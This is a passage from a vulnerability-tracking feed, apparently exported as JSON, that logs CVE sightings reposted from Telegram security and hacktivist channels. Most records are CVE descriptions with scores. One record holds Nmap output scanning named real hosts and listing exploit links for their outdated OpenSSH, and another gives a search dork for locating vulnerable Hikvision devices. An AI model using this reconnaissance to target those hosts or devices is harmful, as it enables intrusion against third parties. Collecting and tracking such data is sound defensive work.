CVE-2016-6210   5.9     https://vulners.com/cve/CVE-2016-6210         |       54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C   5.9     https://vulners.com/githubexploit/54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C        *EXPLOIT*              |       EXPLOITPACK:98FE96309F9524B8C84C508837551A19   5.8     https://vulners.com/exploitpack/EXPLOITPACK:98FE96309F9524B8C84C508837551A19  *EXPLOIT*      |       EXPLOITPACK:5330EA02EBDE345BFC9D6DDDD97F9E97   5.8     https://vulners.com/exploitpack/EXPLOITPACK:5330EA02EBDE345BFC9D6DDDD97F9E97  *EXPLOIT*      |       1337DAY-ID-32328        5.8   https://vulners.com/zdt/1337DAY-ID-32328*EXPLOIT*                              |       1337DAY-ID-32009        5.8   https://vulners.com/zdt/1337DAY-ID-32009*EXPLOIT*                              |       SSV:91041       5.5     https://vulners.com/seebug/SSV:91041   *EXPLOIT*                                     |       PACKETSTORM:140019      5.5   https://vulners.com/packetstorm/PACKETSTORM:140019      *EXPLOIT*              |       PACKETSTORM:136251      5.5   https://vulners.com/packetstorm/PACKETSTORM:136251      *EXPLOIT*              |       PACKETSTORM:136234      5.5   https://vulners.com/packetstorm/PACKETSTORM:136234      *EXPLOIT*              |       EXPLOITPACK:F92411A645D85F05BDBD274FD222226F   5.5     https://vulners.com/exploitpack/EXPLOITPACK:F92411A645D85F05BDBD274FD222226F  *EXPLOIT*      |       EXPLOITPACK:9F2E746846C3C623A27A441281EAD138   5.5     https://vulners.com/exploitpack/EXPLOITPACK:9F2E746846C3C623A27A441281EAD138  *EXPLOIT*      |       EXPLOITPACK:1902C998CBF9154396911926B4C3B330   5.5     https://vulners.com/exploitpack/EXPLOITPACK:1902C998CBF9154396911926B4C3B330  *EXPLOIT*      |       CVE-2016-10011  5.5     https://vulners.com/cve/CVE-2016-10011        |       1337DAY-ID-25388        5.5   https://vulners.com/zdt/1337DAY-ID-25388*EXPLOIT*                              |       EDB-ID:45939    5.3     https://vulners.com/exploitdb/EDB-ID:45939   *EXPLOIT*                               |       EDB-ID:45233    5.3     https://vulners.com/exploitdb/EDB-ID:45233   *EXPLOIT*                               |       CVE-2018-20685  5.3     https://vulners.com/cve/CVE-2018-20685        |       CVE-2018-15919  5.3     https://vulners.com/cve/CVE-2018-15919        |       CVE-2018-15473  5.3     https://vulners.com/cve/CVE-2018-15473        |       CVE-2017-15906  5.3     https://vulners.com/cve/CVE-2017-15906        |", "creation_timestamp": "2025-04-01T08:49:50.000000Z"}, {"uuid": "979213f2-f477-4e02-b732-9fa36ff97d47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "published-proof-of-concept", "source": "https://t.me/MalaysiaHacktivistz/2959", "content": "hubexploit/108E1D25-1F7E-534C-97CD-3F6045E32B98        *EXPLOIT*              |       0FC4BE81-312B-51F4-9D9B-66D8B5C093CD   8.1     https://vulners.com/githubexploit/0FC4BE81-312B-51F4-9D9B-66D8B5C093CD        *EXPLOIT*              |       0F9B3655-C7D4-55A9-8EB5-2EAD9CEAB180   8.1     https://vulners.com/githubexploit/0F9B3655-C7D4-55A9-8EB5-2EAD9CEAB180        *EXPLOIT*              |       0E9294FD-6B44-503A-84C2-C6E76E53B0B7   8.1     https://vulners.com/githubexploit/0E9294FD-6B44-503A-84C2-C6E76E53B0B7        *EXPLOIT*              |       0A8CA57C-ED38-5301-A03A-C841BD3082EC   8.1     https://vulners.com/githubexploit/0A8CA57C-ED38-5301-A03A-C841BD3082EC        *EXPLOIT*              |       SSV:92579       7.5     https://vulners.com/seebug/SSV:92579   *EXPLOIT*                                     |       PACKETSTORM:173661      7.5   https://vulners.com/packetstorm/PACKETSTORM:173661      *EXPLOIT*              |       F0979183-AE88-53B4-86CF-3AF0523F3807   7.5     https://vulners.com/githubexploit/F0979183-AE88-53B4-86CF-3AF0523F3807        *EXPLOIT*              |       1337DAY-ID-26576        7.5   https://vulners.com/zdt/1337DAY-ID-26576*EXPLOIT*                              |       PACKETSTORM:189283      6.8   https://vulners.com/packetstorm/PACKETSTORM:189283      *EXPLOIT*              |       F79E574D-30C8-5C52-A801-66FFA0610BAA   6.8     https://vulners.com/githubexploit/F79E574D-30C8-5C52-A801-66FFA0610BAA        *EXPLOIT*              |       CVE-2025-26465  6.8     https://vulners.com/cve/CVE-2025-26465        |       1337DAY-ID-39918        6.8   https://vulners.com/zdt/1337DAY-ID-39918*EXPLOIT*                              |       CVE-2023-51385  6.5     https://vulners.com/cve/CVE-2023-51385        |       CVE-2023-48795  5.9     https://vulners.com/cve/CVE-2023-48795        |       54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C   5.9     https://vulners.com/githubexploit/54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C        *EXPLOIT*              |       CVE-2023-51384  5.5     https://vulners.com/cve/CVE-2023-51384        |       PACKETSTORM:140261      0.0   https://vulners.com/packetstorm/PACKETSTORM:140261      *EXPLOIT*              |       5C971D4B-2DD3-5894-9EC2-DAB952B4740D   0.0     https://vulners.com/githubexploit/5C971D4B-2DD3-5894-9EC2-DAB952B4740D        *EXPLOIT*              |_      39E70D1A-F5D8-59D5-A0CF-E73D9BAA3118   0.0     https://vulners.com/githubexploit/39E70D1A-F5D8-59D5-A0CF-E73D9BAA3118        *EXPLOIT*              Final times for host: srtt: 228805 rttvar: 228805  to: 300000                                                        Nmap scan report for static.238.140.201.138.clients.your-server.de (138.201.140.238)                                 Host is up, received user-set.         Scanned at 2025-04-01 14:37:41 +08 for 165s                                                                          PORT   STATE    SERVICE REASON      VERSION                                   22/tcp filtered ssh     no-response                                           Nmap scan report for static.239.140.201.138.clients.your-server.de (138.201.140.239)                                 Host is up, received user-set (0.22s latency).                                Scanned at 2025-04-01 14:37:41 +08 for 165s                                                                          PORT   STATE  SERVICE REASON       VERSION                                    22/tcp closed ssh     conn-refused     Final times for host: srtt: 216092 rttvar: 216092  to: 300000                                                        Nmap scan report for fahrschulcloud.de (138.201.140.240)                      Host is up, received user-set (0.22s latency).                                Scanned at 2025-04-01 14:37:41 +08 for 186s                                                                          PORT   STATE SERVICE REASON  VERSION   22/tcp open  ssh     syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)                           | vulners:                             |   cpe:/a:openbsd:openssh:7.2p2:", "creation_timestamp": "2025-04-01T08:49:50.000000Z"}, {"uuid": "3aa4b20a-a992-4133-a0fe-05a19da19f6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4836", "type": "seen", "source": "https://t.me/cibsecurity/73239", "content": "\u203c CVE-2023-4836 \u203c\n\nThe WordPress File Sharing Plugin WordPress plugin before 2.0.5 does not check authorization before displaying files and folders, allowing users to gain access to those filed by manipulating IDs which can easily be brute forced\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-31T17:21:10.000000Z"}, {"uuid": "d7f480ea-ffb8-412c-a437-67730837a43f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "Telegram/g05RZYfAQXgYlRDvhuKXP6gOCkRv0gRZXEciVk8YH45IDnw", "content": "", "creation_timestamp": "2023-12-25T14:13:08.000000Z"}, {"uuid": "f111bbbb-1daf-48e5-8578-e41edf89a8d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48674", "type": "seen", "source": "Telegram/BwI2DZDWvnUF7poM6tIXtf6Qs31qxqBzpuVxZImBVouljBkM", "content": "", "creation_timestamp": "2025-02-01T17:28:10.000000Z"}, {"uuid": "77160710-f628-4d6a-a623-4a037e572ca5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "Telegram/r4lPcHHUPaie3LhfNF5GvtMg5gZnlD8FVRHxKTho2WF1kAmg", "content": "", "creation_timestamp": "2025-01-04T00:20:24.000000Z"}, {"uuid": "24c9008c-2f68-40e6-a070-f258c8f73d02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48677", "type": "seen", "source": "Telegram/_Schiqhc0I_FjYQ7xx-FbSQzX5ajcwGIJdIffNOAO7NNu0-B", "content": "", "creation_timestamp": "2025-02-01T17:28:08.000000Z"}, {"uuid": "eaaa119d-a837-4c64-ba8b-6da75ad6456e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4820", "type": "seen", "source": "https://t.me/cibsecurity/72356", "content": "\u203c CVE-2023-4820 \u203c\n\nThe PowerPress Podcasting plugin by Blubrry WordPress plugin before 11.0.12 does not sanitize and escape the media url field in posts, which could allow users with privileges as low as contributor to inject arbitrary web scripts that could target a site admin or superadmin.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-17T00:32:24.000000Z"}, {"uuid": "75d9590c-3a7d-499d-b131-232ce555299a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4800", "type": "seen", "source": "https://t.me/cibsecurity/72355", "content": "\u203c CVE-2023-4800 \u203c\n\nThe DoLogin Security WordPress plugin before 3.7.1 does not restrict the access of a widget that shows the IPs of failed logins to low privileged users.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-17T00:32:23.000000Z"}, {"uuid": "cfe51325-5bf8-437d-bc2e-0bb0dafd1243", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "exploited", "source": "https://t.me/tengkorakcybercrewz/4411", "content": "The Hacker News\nCISA Alerts on Active Exploitation of Flaws in Fortinet, Ivanti, and Nice Products\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Monday placed three security flaws to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation.\nThe vulnerabilities added are as follows -\n\nCVE-2023-48788 (CVSS score: 9.3) - Fortinet FortiClient EMS SQL Injection Vulnerability\nCVE-2021-44529 (CVSS score: 9.8) - Ivanti", "creation_timestamp": "2024-03-26T07:20:51.000000Z"}, {"uuid": "55ec2f0e-b0c0-4fd5-9524-a9ae6b300e21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48121", "type": "seen", "source": "https://t.me/tengkorakcybercrew/10453", "content": "CVE-2023-48121: Auth Bypass in Hikvision, 8.2 rating \u2757\ufe0f\n\nSome Hikvision products have been affected by an authentication bypass vulnerability in the Hik-Connect Module, which could allow remote attackers to consume services by sending crafted messages to the affected devices.\n\nSearch at Netlas.io:\n\ud83d\udc49\ud83c\udffb Link: https://nt.ls/hbCPs\n\ud83d\udc49\ud83c\udffb Dork: http.favicon.hash_sha256:7d249b2fca8ab8d5ab373444732b8bc9104ab597976640f3441ddfd70148b527\n\nVendor's advisory: https://www.hikvision.com/hk/support/cybersecurity/security-advisory/security-vulnerability-in-some-hikvision-products/\n\nJoin us:\n\nJoin us\ud83d\udc79\ud83d\udc79:-https://t.me/suboxo\ud83d\udc7a\ud83d\udc7a", "creation_timestamp": "2024-06-03T23:12:35.000000Z"}, {"uuid": "99bd8e19-fc16-49ba-9940-eca3c449e452", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48121", "type": "seen", "source": "https://t.me/tengkorakcybercrewz/10407", "content": "CVE-2023-48121: Auth Bypass in Hikvision, 8.2 rating \u2757\ufe0f\n\nSome Hikvision products have been affected by an authentication bypass vulnerability in the Hik-Connect Module, which could allow remote attackers to consume services by sending crafted messages to the affected devices.\n\nSearch at Netlas.io:\n\ud83d\udc49\ud83c\udffb Link: https://nt.ls/hbCPs\n\ud83d\udc49\ud83c\udffb Dork: http.favicon.hash_sha256:7d249b2fca8ab8d5ab373444732b8bc9104ab597976640f3441ddfd70148b527\n\nVendor's advisory: https://www.hikvision.com/hk/support/cybersecurity/security-advisory/security-vulnerability-in-some-hikvision-products/\n\nJoin us:\n\nJoin us\ud83d\udc79\ud83d\udc79:-https://t.me/suboxo\ud83d\udc7a\ud83d\udc7a", "creation_timestamp": "2024-06-03T23:11:53.000000Z"}, {"uuid": "3f0d0c43-3915-4e7f-b0bf-cc7e7ff23826", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "exploited", "source": "Telegram/NOAqpa7JEMfl3ajn0ga2Hbms0gdbWSwBsBZdrSGClpxxFJ0", "content": "", "creation_timestamp": "2023-09-17T07:29:46.000000Z"}, {"uuid": "00ba1b0f-c724-48a7-9738-4387f971f202", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://t.me/arpsyndicate/4732", "content": "#ExploitObserverAlert\n\nCVE-2023-48788\n\nDESCRIPTION: Exploit Observer has 78 entries in 9 file formats related to CVE-2023-48788. A improper neutralization of special elements used in an sql command ('sql injection') in Fortinet FortiClientEMS version 7.2.0 through 7.2.2, FortiClientEMS 7.0.1 through 7.0.10 allows attacker to execute unauthorized code or commands via specially crafted packets.\n\nFIRST-EPSS: 0.562220000\nNVD-IS: 5.9\nNVD-ES: 3.9\nARPS-PRIORITY: 0.9246164", "creation_timestamp": "2024-04-21T11:40:19.000000Z"}, {"uuid": "aa816611-1faf-457d-82de-2740b2ad0ded", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48202", "type": "seen", "source": "https://t.me/arpsyndicate/3290", "content": "#ExploitObserverAlert\n\nCVE-2023-48202\n\nDESCRIPTION: Exploit Observer has 2 entries in 2 file formats related to CVE-2023-48202. Cross-Site Scripting (XSS) vulnerability in Sunlight CMS 8.0.1 allows an authenticated low-privileged user to escalate privileges via a crafted SVG file in the File Manager component.", "creation_timestamp": "2024-01-28T12:35:43.000000Z"}, {"uuid": "48b78bc6-c095-4ce5-b00c-b7b28018efce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48104", "type": "seen", "source": "https://t.me/arpsyndicate/2946", "content": "#ExploitObserverAlert\n\nCVE-2023-48104\n\nDESCRIPTION: Exploit Observer has 2 entries in 2 file formats related to CVE-2023-48104. Alinto SOGo 5.8.0 is vulnerable to HTML Injection.\n\nFIRST-EPSS: 0.000430000", "creation_timestamp": "2024-01-19T17:46:01.000000Z"}, {"uuid": "1575c055-8d57-4b92-9584-c299cb8a7174", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48013", "type": "seen", "source": "https://t.me/arpsyndicate/4550", "content": "#ExploitObserverAlert\n\nCVE-2023-48013\n\nDESCRIPTION: Exploit Observer has 8 entries in 3 file formats related to CVE-2023-48013. GPAC v2.3-DEV-rev566-g50c2ab06f-master was discovered to contain a double free via the gf_filterpacket_del function at /gpac/src/filter_core/filter.c.\n\nFIRST-EPSS: 0.000530000\nNVD-IS: 5.9\nNVD-ES: 1.8\nARPS-EXPLOITABILITY: 0.5935014", "creation_timestamp": "2024-04-12T07:15:14.000000Z"}, {"uuid": "aad0853a-a8af-4a0b-bf30-0b39f3524a2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48014", "type": "seen", "source": "https://t.me/arpsyndicate/4546", "content": "#ExploitObserverAlert\n\nCVE-2023-48014\n\nDESCRIPTION: Exploit Observer has 8 entries in 3 file formats related to CVE-2023-48014. GPAC v2.3-DEV-rev566-g50c2ab06f-master was discovered to contain a stack overflow via the hevc_parse_vps_extension function at /media_tools/av_parsers.c.\n\nFIRST-EPSS: 0.000530000\nNVD-IS: 5.9\nNVD-ES: 1.8\nARPS-EXPLOITABILITY: 0.5935014", "creation_timestamp": "2024-04-12T06:57:57.000000Z"}, {"uuid": "1136277d-db43-4686-b2c5-723db1a50260", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48011", "type": "seen", "source": "https://t.me/arpsyndicate/4541", "content": "#ExploitObserverAlert\n\nCVE-2023-48011\n\nDESCRIPTION: Exploit Observer has 8 entries in 3 file formats related to CVE-2023-48011. GPAC v2.3-DEV-rev566-g50c2ab06f-master was discovered to contain a heap-use-after-free via the flush_ref_samples function at /gpac/src/isomedia/movie_fragments.c.\n\nFIRST-EPSS: 0.000530000\nNVD-IS: 5.9\nNVD-ES: 1.8\nARPS-EXPLOITABILITY: 0.5935014", "creation_timestamp": "2024-04-12T06:35:20.000000Z"}, {"uuid": "7ef71102-3f3c-4a49-95e5-d8bf39102cb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48958", "type": "seen", "source": "https://t.me/arpsyndicate/4559", "content": "#ExploitObserverAlert\n\nCVE-2023-48958\n\nDESCRIPTION: Exploit Observer has 9 entries in 3 file formats related to CVE-2023-48958. gpac 2.3-DEV-rev617-g671976fcc-master contains memory leaks in gf_mpd_resolve_url media_tools/mpd.c:4589.\n\nFIRST-EPSS: 0.000440000\nNVD-IS: 3.6\nNVD-ES: 1.8\nARPS-EXPLOITABILITY: 0.5947312", "creation_timestamp": "2024-04-12T08:02:06.000000Z"}, {"uuid": "117e9d03-191a-4adc-8d8b-b3baa8a956bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48784", "type": "seen", "source": "https://t.me/arpsyndicate/4512", "content": "#ExploitObserverAlert\n\nCVE-2023-48784\n\nDESCRIPTION: Exploit Observer has 2 entries in 1 file formats related to CVE-2023-48784. A\u00a0use of externally-controlled format string vulnerability [CWE-134] in FortiOS version 7.4.1 and below, version 7.2.7 and below, version 7.0.14 and below, version 6.4.15 and below command line interface may allow a local\u00a0privileged attacker with super-admin profile and CLI access\u00a0to execute arbitrary code or commands via specially crafted requests.\n\nFIRST-EPSS: 0.000430000", "creation_timestamp": "2024-04-11T11:09:19.000000Z"}, {"uuid": "13607547-5ddf-44ee-93b0-41752e9f8002", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48724", "type": "seen", "source": "https://t.me/arpsyndicate/4445", "content": "#ExploitObserverAlert\n\nCVE-2023-48724\n\nDESCRIPTION: Exploit Observer has 2 entries in 1 file formats related to CVE-2023-48724. A memory corruption vulnerability exists in the web interface functionality of Tp-Link AC1350 Wireless MU-MIMO Gigabit Access Point (EAP225 V3) v5.1.0 Build 20220926. A specially crafted HTTP POST request can lead to denial of service of the device's web interface. An attacker can send an unauthenticated HTTP POST request to trigger this vulnerability.\n\nFIRST-EPSS: 0.000430000", "creation_timestamp": "2024-04-11T05:45:30.000000Z"}, {"uuid": "9753a2fc-1ef1-421d-8f8d-105afabd1740", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://t.me/arpsyndicate/4196", "content": "#ExploitObserverAlert\n\nCVE-2023-48788\n\nDESCRIPTION: Exploit Observer has 3 entries in 1 file formats related to CVE-2023-48788. A improper neutralization of special elements used in an sql command ('sql injection') in Fortinet FortiClientEMS version 7.2.0 through 7.2.2, FortiClientEMS 7.0.1 through 7.0.10 allows attacker to execute unauthorized code or commands via specially crafted packets.", "creation_timestamp": "2024-03-13T22:21:33.000000Z"}, {"uuid": "b17a1eba-131f-4aa4-8e23-de73a07247b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48022", "type": "seen", "source": "https://t.me/arpsyndicate/4413", "content": "#ExploitObserverAlert\n\nCVE-2023-48022\n\nDESCRIPTION: Exploit Observer has 16 entries in 5 file formats related to CVE-2023-48022. Anyscale Ray 2.6.3 and 2.8.0 allows a remote attacker to execute arbitrary code via the job submission API. NOTE: the vendor's position is that this report is irrelevant because Ray, as stated in its documentation, is not intended for use outside of a strictly controlled network environment\n\nFIRST-EPSS: 0.003770000\nNVD-IS: 5.9\nNVD-ES: 3.9", "creation_timestamp": "2024-04-09T20:17:18.000000Z"}, {"uuid": "578bdfde-0d4d-4b4d-a0ab-9d99f041b88a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48201", "type": "seen", "source": "https://t.me/arpsyndicate/3277", "content": "#ExploitObserverAlert\n\nCVE-2023-48201\n\nDESCRIPTION: Exploit Observer has 2 entries in 2 file formats related to CVE-2023-48201. Cross Site Scripting (XSS) vulnerability in Sunlight CMS v.8.0.1, allows remote authenticated attackers to execute arbitrary code and escalate privileges via a crafted script to the Content text editor component.", "creation_timestamp": "2024-01-28T11:08:39.000000Z"}, {"uuid": "dc922b17-8022-4f05-a75e-73734a51d182", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "exploited", "source": "Telegram/Qq1z8SIBiJdzJR0ns7UYIFZz1uHaCQPHtXKa58GgkBBiEg", "content": "", "creation_timestamp": "2024-12-20T10:46:42.000000Z"}, {"uuid": "6539951f-e3e8-41e2-ad20-70ffbde969ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48974", "type": "seen", "source": "https://t.me/arpsyndicate/3423", "content": "#ExploitObserverAlert\n\nCVE-2023-48974\n\nDESCRIPTION: Exploit Observer has 3 entries in 2 file formats related to CVE-2023-48974. Cross Site Scripting vulnerability in Axigen WebMail v.10.5.7 and before allows a remote attacker to escalate privileges via a crafted script to the serverName_input parameter.\n\nFIRST-EPSS: 0.000430000", "creation_timestamp": "2024-02-11T15:34:24.000000Z"}, {"uuid": "2fa1cc85-87a7-44d9-bc2d-6ccc44080954", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48945", "type": "seen", "source": "https://t.me/arpsyndicate/2445", "content": "#ExploitObserverAlert\n\nCVE-2023-48945\n\nDESCRIPTION: Exploit Observer has 1 entries related to CVE-2023-48945. A stack overflow in openlink virtuoso-opensource v7.2.11 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.\n\nFIRST-EPSS: 0.000460000\nNVD-IS: 3.6\nNVD-ES: 3.9", "creation_timestamp": "2024-01-04T07:45:15.000000Z"}, {"uuid": "42982335-91da-483d-99e9-e8f8bc203e21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48312", "type": "seen", "source": "https://t.me/arpsyndicate/2327", "content": "#ExploitObserverAlert\n\nCVE-2023-48312\n\nDESCRIPTION: Exploit Observer has 2 entries related to CVE-2023-48312. capsule-proxy is a reverse proxy for the capsule operator project. Affected versions are subject to a privilege escalation vulnerability which is based on a missing check if the user is authenticated based on the `TokenReview` result. All the clusters running with the `anonymous-auth` Kubernetes API Server setting disable (set to `false`) are affected since it would be possible to bypass the token review mechanism, interacting with the upper Kubernetes API Server. This privilege escalation cannot be exploited if you're relying only on client certificates (SSL/TLS). This vulnerability has been addressed in version 0.4.6. Users are advised to upgrade.\n\nFIRST-EPSS: 0.000610000\nNVD-IS: 5.9\nNVD-ES: 3.9", "creation_timestamp": "2024-01-03T15:34:41.000000Z"}, {"uuid": "5220a4ed-468c-4ca7-b97c-3a7c058026d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48791", "type": "seen", "source": "https://t.me/arpsyndicate/2363", "content": "#ExploitObserverAlert\n\nCVE-2023-48791\n\nDESCRIPTION: Exploit Observer has 1 entries related to CVE-2023-48791. An improper neutralization of special elements used in a command ('Command Injection') vulnerability [CWE-77] in FortiPortal version 7.2.0, version 7.0.6 and below may allow a remote authenticated attacker with at least R/W permission to execute unauthorized commands via specifically crafted arguments in the Schedule System Backup page field.\n\nFIRST-EPSS: 0.001100000\nNVD-IS: 5.9\nNVD-ES: 2.8", "creation_timestamp": "2024-01-03T21:18:59.000000Z"}, {"uuid": "f8ce750b-96f1-4800-a135-c901e1ff71fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48765", "type": "seen", "source": "https://t.me/arpsyndicate/2350", "content": "#ExploitObserverAlert\n\nCVE-2023-48765\n\nDESCRIPTION: Exploit Observer has 1 entries related to CVE-2023-48765. Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Till Kr\u00fcss Email Address Encoder allows Stored XSS.This issue affects Email Address Encoder: from n/a through 1.0.22.\n\nFIRST-EPSS: 0.000430000\nNVD-IS: 2.7\nNVD-ES: 2.3", "creation_timestamp": "2024-01-03T19:53:32.000000Z"}, {"uuid": "eb154d34-bf4c-41ad-9062-907791b5d925", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48365", "type": "seen", "source": "https://t.me/arpsyndicate/2349", "content": "#ExploitObserverAlert\n\nCVE-2023-48365\n\nDESCRIPTION: Exploit Observer has 1 entries related to CVE-2023-48365. Qlik Sense Enterprise for Windows before August 2023 Patch 2 allows unauthenticated remote code execution, aka QB-21683. Due to improper validation of HTTP headers, a remote attacker is able to elevate their privilege by tunneling HTTP requests, allowing them to execute HTTP requests on the backend server that hosts the repository application. The fixed versions are August 2023 Patch 2, May 2023 Patch 6, February 2023 Patch 10, November 2022 Patch 12, August 2022 Patch 14, May 2022 Patch 16, February 2022 Patch 15, and November 2021 Patch 17. NOTE: this issue exists because of an incomplete fix for CVE-2023-41265.\n\nFIRST-EPSS: 0.000820000\nNVD-IS: 6.0\nNVD-ES: 3.1", "creation_timestamp": "2024-01-03T19:47:04.000000Z"}, {"uuid": "1644c1b6-2f93-4d3a-8c77-6b9092f5f40c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48309", "type": "seen", "source": "https://t.me/arpsyndicate/2178", "content": "#ExploitObserverAlert\n\nCVE-2023-48309\n\nDESCRIPTION: Exploit Observer has 1 entries related to CVE-2023-48309. NextAuth.js provides authentication for Next.js. `next-auth` applications prior to version 4.24.5 that rely on the default Middleware authorization are affected by a vulnerability. A bad actor could create an empty/mock user, by getting hold of a NextAuth.js-issued JWT from an interrupted OAuth sign-in flow (state, PKCE or nonce). Manually overriding the `next-auth.session-token` cookie value with this non-related JWT would let the user simulate a logged in user, albeit having no user information associated with it. (The only property on this user is an opaque randomly generated string). This vulnerability does not give access to other users' data, neither to resources that require proper authorization via scopes or other means. The created mock user has no information associated with it (ie. no name, email, access_token, etc.) This vulnerability can be exploited by bad actors to peek at logged in user states (e.g. dashboard layout). `next-auth` `v4.24.5` contains a patch for the vulnerability. As a workaround, using a custom authorization callback for Middleware, developers can manually do a basic authentication.\n\nFIRST-EPSS: 0.000630000\nNVD-IS: 1.4\nNVD-ES: 3.9", "creation_timestamp": "2023-12-28T02:30:39.000000Z"}, {"uuid": "5a374e05-639c-4327-8640-3a3ffdef99c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/arpsyndicate/1181", "content": "#ExploitObserverAlert\n\nCVE-2023-4863\n\nDESCRIPTION: Exploit Observer has 65 entries related to CVE-2023-4863. Heap buffer overflow in libwebp in Google Chrome 